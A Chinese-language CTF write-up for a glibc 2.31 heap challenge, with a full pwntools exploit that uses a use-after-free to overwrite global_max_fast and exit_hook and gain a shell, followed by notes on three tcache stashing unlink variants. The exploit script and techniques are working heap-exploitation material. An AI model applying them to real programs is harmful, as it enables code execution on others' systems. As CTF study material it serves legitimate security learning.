global_max_fast
这题是2.31版本的libc,有UAF,只能calloc并且大小控制为0x7f-0x1ff。这禁用了很多东西,需要,然后要修改global_max_fast处的大小为一个很大的数值(一般是堆地址)。然后修改chunk的fd指针,指向rtld_global,然后我们就可以打exit_hook了,因为exit_hook在rtld_global中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| from pwn import * context.log_level = "debug" context.arch = "amd64" p = process("./pwn2") elf = ELF("./pwn2") libc = elf.libc
menu = ">> " def g(): gdb.attach(p) input()
def add(size): p.sendlineafter(menu,"1") p.sendlineafter("size: ",str(size)) def free(index): p.sendlineafter(menu,"2") p.sendlineafter("index: ",str(index)) def edit(index,content): p.sendlineafter(menu,"3") p.sendlineafter("index: ",str(index)) p.sendafter("content: ",content)
def show(index): p.sendlineafter(menu,"4") p.sendlineafter("index: ",str(index))
for i in range(6): add(0x80) for i in range(6): free(i)
for i in range(7): add(0x1f0) for i in range(7): free(6+i)
for i in range(7): add(0xe0) for i in range(7): free(13+i)
add(0x1f0) add(0x80) add(0x1f0) add(0x80) free(20) free(22) show(20) p.recvuntil("content: ") libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) - 0x1ebbe0 success("libc_base:"+hex(libc_base)) show(22) p.recvuntil("content: ") heap_base = u64(p.recv(6).ljust(8,"\x00")) - 0x1a80 success("heap_base:"+hex(heap_base)) global_max_fast = libc_base + 0x1eeb80
add(0x160) add(0x160) add(0x1f0) add(0x1f0) free(26) add(0x118) add(0x1f0) edit(22,"a"*0x160+p64(0)+p64(0x91)+p64(heap_base+0x1bf0)+p64(global_max_fast-0x10+0x8-4-8))
for i in range(8): add(0xf8)
for i in range(7): free(30+i) add(0x80) free(37) edit(37,p64(libc_base+0x222df7-8)) add(0xf8) add(0xf8) edit(40,"a"*(0xe1-8)+p64(0x201)) free(29) edit(29,p64(libc_base+0x222ed0)) add(0x1f8) add(0x1f8) edit(42,"d"*0x88+p64(libc_base+0xe6c7e))
p.recvuntil(">> ") p.sendline("5")
p.interactive()
|
顺便总结一下tcache stashing unlink,因为前几天面试V&N被问到了,但是学的时间比较久远就给忘记了。
一:tcache_stashing_unlink
起初的tcache stashing unlink是可以向目标地址写入一个非常大的数,先把两个chunk放入smallbin,先释放的叫smallbin1,tcache放入同大小的6个chunk,修改smallbin2的bk为目标地址-0x10,fd保持不变,然后calloc申请,这样smallbin1被用户申请回去,smallbin2放入tcache,smallbin2的bk指针指向main_arena+n。
二:tcache_stashing_unlink+
把两个chunk放入smallbin,先释放的叫smallbin1,然后tcache中放入5个,同样将smallbin2的bk修改为目标地址-0x10,fd不变,然后calloc申请,smallbin1被用户申请回去,smallbin2进入tcache,此时tcache中chunk数量为6,要保证能够继续stash下去,需要在目标地址-0x10->fd指向一处可写的地址,这样目标地址就被链入tcache,我们可以将目标地址申请出来。
三:tcache_stashing_unlink++
同上,tcache中放入5个chunk,将smallbin2的bk改为目标地址1-0x10,目标地址1+8处写入目标地址2-0x10,这样能让目标地址1进入tcache,目标地址2写入大的数据,